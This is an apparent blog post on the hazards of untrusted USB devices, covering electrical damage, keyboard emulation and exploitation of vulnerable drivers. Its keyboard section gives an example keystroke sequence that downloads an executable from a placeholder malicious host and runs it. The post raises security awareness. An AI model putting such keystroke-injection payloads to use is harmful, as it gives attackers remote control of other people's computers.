The normal way USB sticks are described as dangerous is that traditionally Windows computers would let any drive attached to your computer run a program automatically. This made it very easy to run malicious software on someone else's computer: give them a flash drive with a virus and let it execute via AutoRun. [1]

Unfortunately this story has led people to think that if they're using something without AutoRun, which at this point is any modern operating system, they're safe to plug in USB stick. But USB is a very low level interface to your computer. It's physically close, electrically connected, and communicates with your operating system at the device driver level. What else could someone do to your system with a USB device?

Electrical Short

A friend was given a USB Pet Rock which shorted their USB port, requiring the motherboard to be replaced. This was a manufacturing error, but you could of course do this in purpose.

Electrical Shock

Maybe a short isn't enough for all motherboards? What about a quick shock of 10,000s of volts? Probably not going to handle that well.

Update 2015-03-10: Someone made one.

Conductive Liquid

Along the same lines of destroying the computer physically, you could have the USB device pour a conductive liquid (water, mercury, ...) into the computer. With a laptop's compact construction this could thoroughly wreck the device. Watch out for USB aquariums! [2]

Keyboard Driver

Ok, enough with the physical attacks. What can we do with just USB as USB, following the spec? The USB device could announce itself to the OS as a keyboard driver, and then send some series of keystrokes that would open up your computer to remote control. For example:

        Windows+R
        http://evilwebsite.example.com/download
        [enter]
        wait
        Windows+R
        C:\Downloads\evil-download.exe
        [enter]

Someone who can type on your computer has a huge amount of control. And of course you could wait to send all these commands until a long time after you were plugged in, to avoid suspicion.

Vulnerable Drivers

But perhaps even that is too open to discovery; people could notice their computer doing weird stuff. Now, generally people ignore weird stuff if it only happens once, but say you want to take over the computer of someone who's truly vigilant? Your computer has device drivers for thousands of USB devices, and as a USB device you can imitate any other. So you get to choose which driver to invoke. With so many it's likely that one is vulnerable to remote code execution, so you identify as the relevant device (ex: pdf), talk to the flawed driver, and gain control. You can even register as unplugged and then register as being reinserted with a new ID to run code from multiple target drivers. As drivers generally run full privileges this is even better than pretending to be the keyboard because it gets you superuser level access.

What else could a malicious USB device do?

Update 2014-08-11: this presentation has a few more ideas, including having the usb stick claim to be a network adapter, which can then snoop/modify traffic.

[1] Some media claim that Stuxnet spread this way, but it actually used a vulnerabiltiy in Windows' handling of icon shortcut files which let it load arbitrary DLLs. (pdf)

[2] Or should it be aquaria?